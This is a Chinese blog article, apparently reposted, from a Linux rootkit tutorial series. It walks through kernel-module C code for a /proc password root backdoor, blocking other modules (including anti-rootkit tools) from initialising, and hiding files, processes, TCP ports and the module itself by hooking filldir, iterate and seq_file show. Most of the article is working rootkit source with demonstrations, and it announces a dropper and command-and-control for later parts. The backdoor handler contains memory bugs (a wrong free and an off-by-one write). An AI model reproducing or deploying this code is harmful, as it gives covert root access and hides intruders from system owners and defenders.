IT技術互動交流平臺

Linux Rootkit系列三:實例詳解 Rootkit 必備的基本功能

作者:佚名  發布日期:2016-07-01 22:11:49

本文所需的完整代碼位于筆者的代碼倉庫:https://github.com/NoviceLive/research-rootkit。
測試建議: 不要在物理機測試!不要在物理機測試! 不要在物理機測試!
概要
在 上一篇文章中筆者詳細地闡述了基于直接修改系統調用表 (即 sys_call_table /ia32_sys_call_table )的掛鉤, 文章強調以代碼與動手實驗為核心。
長話短說,本文也將以同樣的理念帶領讀者一一縷清 Rootkit 必備的基本功能,包括提供 root 后門,控制內核模塊的加載, 隱藏文件(提示:這是文章的重點與核心內容),隱藏進程,隱藏網絡端口,隱藏內核模塊等。
短話長說,本文不打算給大家介紹剩下的幾種不同的系統調用掛鉤技術:比如說,修改 32 位系統調用( 使用 int $0x80 ) 進入內核需要使用的IDT (Interrupt descriptor table / 中斷描述符表) 項, 修改 64位系統調用( 使用 syscall )需要使用的MSR (Model-specific register / 模型特定寄存器,具體講, 64位系統調用派遣例程的地址位于 MSR_LSTAR );又比如基于修改系統調用派遣例程 (對 64 位系統調用而言也就是entry_SYSCALL_64 ) 的鉤法; 又或者,內聯掛鉤 / InlineHooking。
這些鉤法我們以后再談,現在,我們先專心把一種鉤法玩出花樣。上一篇文章講的鉤法,也就是函數指針的替換,并不局限于鉤系統調用。本文會將這種方法應用到其他的函數上。
第一部分:Rootkit 必備的基本功能
站穩,坐好。
1. 提供 root 后門
這個特別好講,筆者就拿提供 root 后門這個功能開刀了。
大家還記得前段時間 全志 (AllWinner ) 提供的 Linux 內核里面的 root 后門吧,不了解的可以看一下 FB 之前的文章,外媒報道:中國知名ARM制造商全志科技在Linux中留下內核后門。
我們拿后門的那段源代碼改改就好了。
具體說來,邏輯是這樣子的, 我們的內核模塊在/proc 下面創建一個文件,如果某一個進程向這個文件寫入特定的內容(讀者可以把這個“特定的內容”理解成口令或者密碼),我們的內核模塊就把這個進程的uid 與 euid等等全都設置成 0, 也就是 root 賬號的。這樣,這個進程就擁有了 root權限。
不妨拿 全志 root 后門這件事來舉個例子,在運行有后門的 Linux 內核的設備上, 進程只需要向/proc/sunxi_debug/sunxi_debug 寫入 rootmydevice 就可以獲得 root權限。
另外,我們的內核模塊創建的那個文件顯然是要隱藏掉的。考慮到現在還沒講文件隱藏(本文后面會談文件隱藏),所以這一小節的實驗并不包括將創建出來的文件隱藏掉。
下面我們看看怎樣在內核模塊里創建/proc 下面的文件。
全志 root 后門代碼里用到的create_proc_entry 是一個過時了的API,而且在新內核里面它已經被去掉了。 考慮到筆者暫時還不考慮兼容老的內核,所以我們直接用新的API, proc_create 與 proc_remove , 分別用于創建與刪除一個/proc 下面的項目。
函數原型如下。
# include
static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
void
proc_remove(struct proc_dir_entry *entry);
proc_create 參數的含義依次為,文件名字,文件訪問模式,父目錄,文件操作函數結構體。 我們重點關心第四個參數:struct file_operations里面是一些函數指針,即對文件的各種操作的處理函數, 比如,讀( read)、寫( write )。 該結構體的定義位于 linux/fs.h,后面講文件隱藏的時候還會遇到它。
創建與刪除一個 /proc文件的代碼示例如下。
struct proc_dir_entry *entry;
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
proc_remove(entry);
實現我們的需求只需要提供一個寫操作( write )的處理函數就可以了,如下所示。
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);
struct file_operations proc_fops = {
    .write = write_handler
};
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;
    // 分配內存。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }
    // 復制到內核緩沖區。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;
    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {
        // 用戶進程寫入的內容是我們的口令或者密碼,
        // 把進程的 ``uid`` 與 ``gid`` 等等
        // 都設置成 ``root`` 賬號的,將其提權到 ``root``。
        fm_alert("%s ", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;

        fm_alert("%s ", "See you!");
    } else {
        // 密碼錯誤,拒絕提權。
        fm_alert("Alien, get out of here: %s. ", kbuff);
    }
    kfree(buff);
    return count;
}
實驗
編譯并加載我們的內核模塊,以 Kali 為例:Kali 默認只有 root 賬號, 我們可以用useradd  添加一個臨時的非 root 賬號來運行提權腳本(r00tme.sh )做演示。 效果參見下圖, 可以看到在提權之前用戶的uid 是 1000,也就是普通用戶,不能讀取 /proc/kcore ; 提權之后,uid 變成了0,也就是超級用戶,可以讀取 /proc/kcore 。

2. 控制內核模塊的加載
想象一下,在一個月黑風高的夜晚,邪惡的讀者(誤:善良的讀者)通過某種手段(可能的經典順序是RCE +LPE , Remote CodeExecution / 遠程代碼執行 + Local Privilege Escalation / 本地特權提升)得到了某臺機器的 root 命令執行; 進而執行 Rootkit 的 Dropper程序釋放并配置好 Rootkit, 讓其進入工作狀態。
這時候,Rootkit 首先應該做的并不是提供 root 后門;而是,一方面,我們應該嘗試把我們進來的門(漏洞)堵上, 避免 其他不良群眾亂入,另一方面,我們希望能控制好其他程序(這個其他程序主要是指反 Rootkit 程序與 其他 不良 Rootkit),使其不加載 其他 不良內核模塊與我們在內核態血拼。
理想狀態下,我們的 Rootkit 獨自霸占內核態, 阻止所有不必要的代碼(尤其是反 Rootkit 程序與 其他 不良 Rootkit)在內核態執行。當然,理想是艱巨的,所以我們先做點容易的,控制內核模塊的加載。
控制內核模塊的加載,我們可以從通知鏈機制下手。通知鏈的詳細工作機制讀者可以查看參考資料;簡單來講,當某個子系統或者模塊發生某個事件時,該子系統主動遍歷某個鏈表,而這個鏈表中記錄著其他子系統或者模塊注冊的事件處理函數,通過傳遞恰當的參數調用這個處理函數達到事件通知的目的。
具體來說,我們注冊一個模塊通知處理函數,在模塊完成加載之后、開始初始化之前, 即模塊狀態為 MODULE_STATE_COMING, 將其初始函數掉包成一個什么也不做的函數。這樣一來,模塊不能完成初始化,也就相當于殘廢了。
筆者決定多讀讀代碼,少講理論,所以我們先簡要分析一下內核模塊的加載過程。 相關代碼位于內核源碼樹的kernel/module.c 。 我們從 init_module 開始看。
SYSCALL_DEFINE3(init_module, void __user *, umod,
         unsigned long, len, const char __user *, uargs)
{
     int err;
     struct load_info info = { };
     // 檢查當前設置是否允許加載內核模塊。
     err = may_init_module();
     if (err)
         return err;
     pr_debug("init_module: umod=%p, len=%lu, uargs=%p ",
            umod, len, uargs);
     // 復制模塊到內核。
     err = copy_module_from_user(umod, len, &info);
     if (err)
         return err;
     // 交給 ``load_module`` 進一步處理。
     return load_module(&info, uargs, 0);
}
模塊加載的主要工作都是 load_module 完成的,這個函數比較長,這里只貼我們關心的一小段。
static int load_module(struct load_info *info, const char __user *uargs,
            int flags)
{
     // 這兒省略若干代碼。
     /* Finally it's fully formed, ready to start executing. */
     // 模塊已經完成加載,可以開始執行了(但是還沒有執行)。
     err = complete_formation(mod, info);
     if (err)
         goto ddebug_cleanup;
     // 我們注冊的通知處理函數會在 ``prepare_coming_module`` 的
     // 時候被調用,完成偷天換日。在下面我們還會分析一下這個函數。
     err = prepare_coming_module(mod);
     if (err)
         goto bug_cleanup;
     // 這兒省略若干代碼。
     // 在 ``do_init_module`` 里面,模塊的初始函數會被執行。
     // 然而在這個時候,我們早就把他的初始化函數掉包了(/偷笑)。
     return do_init_module(mod);
     // 這兒省略若干代碼:錯誤時釋放資源等。
}
static int prepare_coming_module(struct module *mod)
{
     int err;
     ftrace_module_enable(mod);
     err = klp_module_coming(mod);
     if (err)
         return err;

 

     // 就是這兒!調用通知鏈中的通知處理函數。
     // ``MODULE_STATE_COMING`` 會原封不動地傳遞給我們的處理函數,
     // 我們的處理函數只需處理這個通知。
     blocking_notifier_call_chain(&module_notify_list,
                      MODULE_STATE_COMING, mod);
     return 0;
}
說的具體點, 我們注冊的通知鏈處理函數是在 notifier_call_chain函數里被調用的,調用層次為: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。有疑惑的讀者可以細致地看看這部分代碼, 位于內核源碼樹的kernel/notifier.c 。
代碼分析告一段落,接下來我們看看如何注冊模塊通知處理函數。用于描述通知處理函數的結構體是 struct notifier_block , 定義如下 。
typedef  int (*notifier_fn_t)(struct notifier_block *nb,
             unsigned long action, void *data);
struct notifier_block {
     notifier_fn_t notifier_call;
     struct notifier_block __rcu *next;
     int priority;
};
注冊或者注銷模塊通知處理函數可以使用 register_module_notifier 或者unregister_module_notifier ,函數原型如下。
int
register_module_notifier(struct notifier_block *nb);
int
unregister_module_notifier(struct notifier_block *nb);
編寫一個通知處理函數,然后填充 struct notifier_block 結構體, 最后使用register_module_notifier 注冊就可以了。代碼片段如下。
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};
上面的代碼是聲明處理函數并填充所需結構體; 下面是處理函數具體實現。
int
fake_init(void);
void
fake_exit(void);
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定義鎖。
    DEFINE_SPINLOCK(module_notifier_spinlock);
    module = data;
    fm_alert("Processing the module: %s ", module->name);
    //保存中斷狀態加鎖。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s. ",
                 module->name);
        // 偷天換日:篡改模塊的初始函數與退出函數。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
    // 恢復中斷狀態解鎖。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
    return NOTIFY_DONE;
}
int
fake_init(void)
{
    fm_alert("%s ", "Fake init.");
    return 0;
}
void
fake_exit(void)
{
    fm_alert("%s ", "Fake exit.");
    return;
}
實驗
測試時我們還需要構建另外一個簡單的模塊( test )來測試,從下圖可以看到在加載用于控制模塊加載的內核模塊( komonko ) 之前,test 的初始函數與退出函數都正常的執行了; 在加載 komonko 之后,無論是加載 test 還是卸載 test , 它的初始函數與退出函數都沒有執行,執行的是我們掉包后的初始函數與退出函數。

3. 隱藏文件
說好的重點內容文件隱藏來了。不過說到文件隱藏,我們不妨先看看文件遍歷的實現, 也就是系統調用getdents / getdents64 ,簡略地瀏覽它在內核態服務函數(sys_getdents)的源碼 (位于fs/readdir.c ),我們可以看到如下調用層次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->這兒省略若干層次 -> struct dir_context 里的 actor ,也就是filldir 。
filldir 負責把一項記錄(比如說目錄下的一個文件或者一個子目錄)填到返回的緩沖區里。如果我們鉤掉 filldir ,并在我們的鉤子函數里對某些特定的記錄予以直接丟棄,不填到緩沖區里,上層函數與應用程序就收不到那個記錄,也就不知道那個文件或者文件夾的存在了,也就實現了文件隱藏。

 

具體說來,我們的隱藏邏輯如下: 篡改根目錄(也就是“/”)的 iterate為我們的假 iterate , 在假函數里把 struct dir_context 里的 actor替換成我們的 假 filldir ,假 filldir 會把需要隱藏的文件過濾掉。
下面是假 iterate 與 假 filldir 的實現。
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 備份真的 ``filldir``,以備后面之需。
    real_filldir = ctx->actor;
    // 把 ``struct dir_context`` 里的 ``actor``,
    // 也就是真的 ``filldir``
    // 替換成我們的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;
    return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隱藏的文件,直接返回,不填到緩沖區里。
        fm_alert("Hiding: %s", name);
        return 0;
    }
    /* pr_cont("%s ", name); */
    // 如果不是需要隱藏的文件,
    // 交給的真的 ``filldir`` 把這個記錄填到緩沖區里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
鉤某個目錄的 struct file_operations 里的函數, 筆者寫了一個通用的宏。
# define set_f_op(op, path, new, old)                      
    do {                                                   
        struct file *filp;                                 
        struct file_operations *f_op;                      
                                                           
        fm_alert("Opening the path: %s. ", path);         
        filp = filp_open(path, O_RDONLY, 0);               
        if (IS_ERR(filp)) {                                
            fm_alert("Failed to open %s with error %ld. ",
                     path, PTR_ERR(filp));                 
            old = NULL;                                    
        } else {                                           
            fm_alert("Succeeded in opening: %s ", path);  
            f_op = (struct file_operations *)filp->f_op;   
            old = f_op->op;                                

 

                                                           
            fm_alert("Changing iterate from %p to %p. ",  
                     old, new);                            
            disable_write_protection();                    
            f_op->op = new;                                
            enable_write_protection();                     
        }                                                  
    } while(0)
實驗
實驗時,筆者隨(gu)手(yi)用來隱藏的文件名: 032416_525.mp4 。從下圖我們可以看到,在加載我們的內核模塊( fshidko )之前, test目錄下的 032416_525.mp4 是可以列舉出來的; 但是加載 fshidko之后就看不到了,并且在 dmesg 的日志里, 我們可以看到 fshidko打印的隱藏了這個文件的信息。

選讀內容:相關內核源碼的簡略分析
SYSCALL_DEFINE3(getdents, unsigned int, fd,
         struct linux_dirent __user *, dirent, unsigned int, count)
{
     // 這兒省略若干代碼。
     struct getdents_callback buf = {
         .ctx.actor = filldir, // 最后的接鍋英雄。
         .count = count,
         .current_dir = dirent
     };
     // 這兒省略若干代碼。
     // 跟進 ``iterate_dir``,
     // 可以看到它是通過 ``struct file_operations`` 里
     // ``iterate`` 完成任務的。
     error = iterate_dir(f.file, &buf.ctx);
     // 這兒省略若干代碼。
     return error;
}
int iterate_dir(struct file *file, struct dir_context *ctx)
{
     struct inode *inode = file_inode(file);
     int res = -ENOTDIR;
     // 如果 ``struct file_operations`` 里的 ``iterate``
     // 為 ``NULL``,返回 ``-ENOTDIR`` 。
     if (!file->f_op->iterate)
         goto out;
     // 這兒省略若干代碼。
     res = -ENOENT;
     if (!IS_DEADDIR(inode)) {
         ctx->pos = file->f_pos;
         // ``iterate_dir`` 把鍋甩給了
         // ``struct file_operations`` 里的 ``iterate``,
         // 對這個 ``iterate`` 的分析請看下面。
         res = file->f_op->iterate(file, ctx);
         file->f_pos = ctx->pos;
         // 這兒省略若干代碼。
     }
     // 這兒省略若干代碼。
out:
     return res;
}
這一層一層的剝開, 我們來到了 struct file_operations 里面的 iterate, 這個 iterate 在不同的文件系統有不同的實現, 下面(位于fs/ext4/dir.c ) 是針對 ext4文件系統的 struct file_operations , 我們可以看到ext4 文件系統的 iterate 是ext4_readdir 。

 

const struct file_operations ext4_dir_operations = {
     .llseek         = ext4_dir_llseek,
     .read       = generic_read_dir,
     .iterate    = ext4_readdir,
     .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
     .compat_ioctl   = ext4_compat_ioctl,
#endif
     .fsync      = ext4_sync_file,
     .open       = ext4_dir_open,
     .release    = ext4_release_dir,
};
ext4_readdir 經過各種各樣的操作之后會通過 filldir把目錄里的項目一個一個的填到 getdents返回的緩沖區里,緩沖區里是一個個的 struct linux_dirent 。我們的隱藏方法就是在 filldir 里把需要隱藏的項目給過濾掉。
4. 隱藏進程
Linux 上純用戶態枚舉并獲取進程信息,/proc 是唯一的去處。所以,對用戶態隱藏進程,我們可以隱藏掉/proc 下面的目錄,這樣用戶態能枚舉出來進程就在我們的控制下了。讀者現在應該些許體會到為什么文件隱藏是本文的重點內容了。
我們修改一下上面隱藏文件時的假 filldir 即可實現進程隱藏, 如下所示。
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
    // 把字符串變成長整數。
    pid = simple_strtol(name, &endp, 10);
    if (pid == SECRET_PROC) {
        // 是我們需要隱藏的進程,直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }
    /* pr_cont("%s ", name); */
    // 不是需要隱藏的進程,交給真的 ``filldir`` 填到緩沖區里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
實驗
筆者選擇隱藏 pid 1 來做演示。在使用systemd 的系統上,pid 1 總是 systemd,看下圖, 我們可以看到加載我們的模塊( pshidko )之后, ps -A看不到 systemd了;把 pshidko 卸載掉,systemd就顯示出來了。

5. 隱藏端口
向用戶態隱藏端口, 其實就是在用戶進程讀/proc下面的相關文件獲取端口信息時, 把需要隱藏的的端口的內容過濾掉,使得用戶進程讀到的內容里面沒有我們想隱藏的端口。
具體說來,看下面的表格。
網絡類型 /proc 文件 內核源碼文件 主要實現函數
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
本小節以TCP /IPv4為例,其他情況讀者可舉一反三。
文件的第一行是每一列的含義, 后面的行就是當前網絡連接(socket /套接字)的具體信息。 這些信息是通過 seq_file 接口在 /proc 中暴露的。seq_file 擁有的操作函數如下,我們需要關心是 show 。
struct seq_operations {
     void * (*start) (struct seq_file *m, loff_t *pos);
     void (*stop) (struct seq_file *m, void *v);
     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
     int (*show) (struct seq_file *m, void *v);
};
前面我們提到了隱藏端口也就是在進程讀取 /proc/net/tcp 等文件獲取端口信息時過濾掉不希望讓進程看到的內容,具體來講, 就是將/proc/net/tcp 等文件的 show 函數篡改成我們的鉤子函數,然后在我們的假 show 函數里進行過濾。
我們先看看用來描述 seq_file 的結構體,即 struct seq_file , 定義于linux/seq_file.h 。 seq_file 有一個緩沖區,也就是 buf 成員,容量是 size ,已經使用的量是 count ;理解了這幾個成員的作用就能理解用于過濾端口信息的假 tcp_seq_show 了。
struct seq_file {
     char *buf; // 緩沖區。
     size_t size; // 緩沖區容量。
     size_t from;
     size_t count; // 緩沖區已經使用的量。
     size_t pad_until;
     loff_t index;
     loff_t read_pos;
     u64 version;
     struct mutex lock;
     const struct seq_operations *op;
     int poll_event;
     const struct file *file;
     void *private;
};
鉤 /proc/net/tcp 等文件的 show 函數的方法與之前講隱藏文件鉤iterate 的方法類似, 用下面的宏可以通用的鉤這幾個文件 seq_file接口里面的操作函數。
# define set_afinfo_seq_op(op, path, afinfo_struct, new, old)  

 

    do {                                                       
        struct file *filp;                                     
        afinfo_struct *afinfo;                                 
                                                               
        filp = filp_open(path, O_RDONLY, 0);                   
        if (IS_ERR(filp)) {                                    
            fm_alert("Failed to open %s with error %ld. ",    
                     path, PTR_ERR(filp));                     
            old = NULL;                                        
        }                                                      
                                                               
        afinfo = PDE_DATA(filp->f_path.dentry->d_inode);       
        old = afinfo->seq_ops.op;                              
        fm_alert("Setting seq_op->" #op " from %p to %p.",     
                 old, new);                                    
        afinfo->seq_ops.op = new;                              
                                                               
        filp_close(filp, 0);                                   

 

    } while (0)
最后,我們看看假 show 函數是如何過濾掉端口信息的。
注1 : TMPSZ 是 150,內核源碼里是這樣定義的。換句話說,/proc/net/tcp 里的每一條記錄都是 149 個字節(不算換行)長,不夠的用空格補齊。
注2 : 我們不用 TMPSZ 也可以,并且會更加靈活,具體細節請看下面隱藏內核模塊時 /proc/modules 的假 show函數是怎么處理的。
int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];
    // 把端口轉換成 16 進制,前面帶個分號,避免誤判。
    // 用來判斷這項記錄是否需要過濾掉。
    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    // real_seq_show 會往 buf 里填充一項記錄
    ret = real_seq_show(seq, v);
    // 該項記錄的起始 = 緩沖區起始 + 已有量 - 每條記錄的大小。
    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s. ",
                 SECRET_PORT, needle);
        // 記錄里包含我們需要隱藏的的端口信息,
        // 把 count 減掉一個記錄大小,
        // 相當于把這個記錄去除掉了。
        seq->count -= TMPSZ;
    }
    return ret;
}
實驗
我們拿TCP /IPv4 111 端口來做演示,讀者需要根據實際測試時的環境做必要改動。 如圖,加載 pthidko之前,我們可以看到 111 端口處于監聽狀態;加載之后,這條記錄不見了,被隱藏起來; 把 pthidko卸載掉,這條記錄又顯示出來了。

6. 隱藏內核模塊
《Linux Rootkit 系列一: LKM的基礎編寫及隱藏》一文里提到了隱藏內核模塊的兩種方式, 一種可以從 lsmod 中隱藏掉,另一種可以從 /sys/module 里隱藏掉。然而,這兩種隱藏方式都使得模塊沒法卸載了。在我們開發的初級階段,這一點也不方便調試,筆者暫時就不講這兩個了。
我們看看另外的思路。從 /sys/module 里隱藏的話,我們使用之前隱藏文件的方式隱藏掉就可以了。我想聰明的讀者應該想到了這點,這再一次證明了文件隱藏的意義。
那么怎么從 lsmod 里隱藏掉呢。 仔細回想一下,既然 lsmod 的數據來源是/proc/modules , 那用我們隱藏端口時采用的方式就好了: 鉤掉/proc/modules 的 show 函數, 在我們的假 show函數里過濾掉我們想隱藏的模塊。
粗略地瀏覽內核源碼,我們可以發現, /proc/modules 的實現位于kernel/module.c , 并且主要的實現函數是 m_show 。
接下來的問題是, 我們怎么鉤這個文件 seq_file 接口里的 show 函數呢,鉤法與 /proc/net/tcp 并不一樣,但是類似,請看下面的宏。
# define set_file_seq_op(opname, path, new, old)                   
    do {                                                           
        struct file *filp;                                         
        struct seq_file *seq;                                      
        struct seq_operations *seq_op;                             
                                                                   
        fm_alert("Opening the path: %s. ", path);                 
        filp = filp_open(path, O_RDONLY, 0);                       

 

        if (IS_ERR(filp)) {                                        
            fm_alert("Failed to open %s with error %ld. ",        
                     path, PTR_ERR(filp));                         
            old = NULL;                                            
        } else {                                                   
            fm_alert("Succeeded in opening: %s ", path);          
            seq = (struct seq_file *)filp->private_data;           
            seq_op = (struct seq_operations *)seq->op;             
            old = seq_op->opname;                                  
                                                                   
            fm_alert("Changing seq_op->"#opname" from %p to %p. ",
                     old, new);                                    
            disable_write_protection();                            
            seq_op->opname = new;                                  
            enable_write_protection();                             
        }                                                          
    } while (0)
這個宏與之前寫的宏非常類似,唯一的不同,并且讀者可能不能理解的是下面這一行。
seq = (struct seq_file *)filp->private_data;
我想,讀者的問題應該是: struct file 的 private_data成員為什么會是我們要找的 struct seq_file 指針?
請看內核源碼。下面的片段是 /proc/modules 的初始部分,我們想要做的是鉤掉 m_show 。 縱觀源碼,引用了 modules_op 的只有seq_open 。
static const struct seq_operations modules_op = {
     .start  = m_start,

 

     .next   = m_next,
     .stop   = m_stop,
     .show   = m_show
};
static int modules_open(struct inode *inode, struct file *file)
{
     return seq_open(file, &modules_op);
}
那我們跟進 seq_open 看看, seq_open 的實現位于 fs/seq_file.c 。
int seq_open(struct file *file, const struct seq_operations *op)
{
     struct seq_file *p;
     WARN_ON(file->private_data);
     // 分配一個 ``struct seq_file`` 的 內存。
     p = kzalloc(sizeof(*p), GFP_KERNEL);
     if (!p)
         return -ENOMEM;
     // 讀者看到這一行應該就能理解了。
     // 對 ``/proc/modules`` 而言,
     // ``struct file`` 的 ``private_data`` 指向的就是
     // 他的 ``struct seq_file``。
     file->private_data = p;
     mutex_init(&p->lock);
     // 把 ``struct seq_file`` 的 ``op`` 成員賦值成 ``op``,
     // 這個 ``op`` 里就包含了我們要鉤的 ``m_show`` 。
     p->op = op;
     // 這兒省略若干代碼。
     return 0;
}
這時候,我們可以看看 /proc/modules 的假 show 函數了。過濾邏輯是很容易理解的; 讀者應該重點注意一下 last_size 的計算,這也就是筆者在講端口隱藏時說到我們可以不用 TMPSZ ,我們可以自己計算這一條記錄的大小。自己計算的靈活性就在于,就算每個記錄的大小不是同樣長的,我們的代碼也能正常工作。
注 : /proc/modules 里的每條記錄長度確實不是一樣,有長有短。
int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    size_t last_count, last_size;
    // 保存一份 ``count`` 值,
    // 下面的 ``real_seq_show`` 會往緩沖區里填充一條記錄,
    // 添加完成后,seq->count 也會增加。
    last_count = seq->count;
    ret =  real_seq_show(seq, v);
    // 填充記錄之后的 count 減去填充之前的 count
    // 就可以得到填充的這條記錄的大小了。
    last_size = seq->count - last_count;
    if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                last_size)) {
        // 是需要隱藏的模塊,
        // 把緩沖區已經使用的量減去這條記錄的長度,
        // 也就相當于把這條記錄去掉了。
        fm_alert("Hiding module: %s ", SECRET_MODULE);
        seq->count -= last_size;
    }
    return ret;
}
實驗
我們選擇隱藏模塊自己( kohidko )來做演示。看下圖。 加載 kohidko之后, lsmod 沒有顯示出我們的模塊, /sys/module下面也列舉不到我們的模塊; 并且,右側 dmesg 的日志也表明我們的假filldir 與假 show 函數起了過濾作用。

第二部分:未來展望
至此,我們討論了大部分作為一個 Rootkit 必備的基本功能;但是,我們的代碼依舊是零散的一個一個的實驗,而不是一個有機的整體。當然,筆者的代碼盡可能的做好了布局組織與模塊化,這能給我們以后組裝的時候節省一些力氣。
在接下來的文章里,一方面,我們會把這些一個一個零散的實驗代碼組裝成一個能進行實驗性部署的Rootkit。要實現這個目標, 除了組裝,我們還需要釋放程序( Dropper ),還需要增加遠程控制( Command & Control )能力。
再者,我們可能會著手討論 Rootkit 的檢測與反檢測。 還有就是討論當前 LinuxRootkit 的實際發展狀態, 比如分析已知用于實際攻擊的 Rootkit所采用的技術, 分析我們的技術水平差異,并從中學習如何實現更先進的功能。
最后,我們還可能改善兼容性與拓展性。我們現在的代碼只在比較新的內核版本(比如 4.5.x / 4.6.x)上測試過。而且,我們壓根就沒有考慮已知的兼容性問題。 因而,要想在 3.x,甚至 2.x上跑, 我們還需要花時間兼容不同版本的內核。然后,我們還希望往其他架構上發展(比如 ARM )。
下車,走好。
 

 

 

Tag標簽: 實例   功能  
  • 專題推薦

About IT165 - 廣告服務 - 隱私聲明 - 版權申明 - 免責條款 - 網站地圖 - 網友投稿 - 聯系方式
本站內容來自于互聯網,僅供用于網絡技術學習,學習中請遵循相關法律法規
彩票联盟网站 滨州市| 象山县|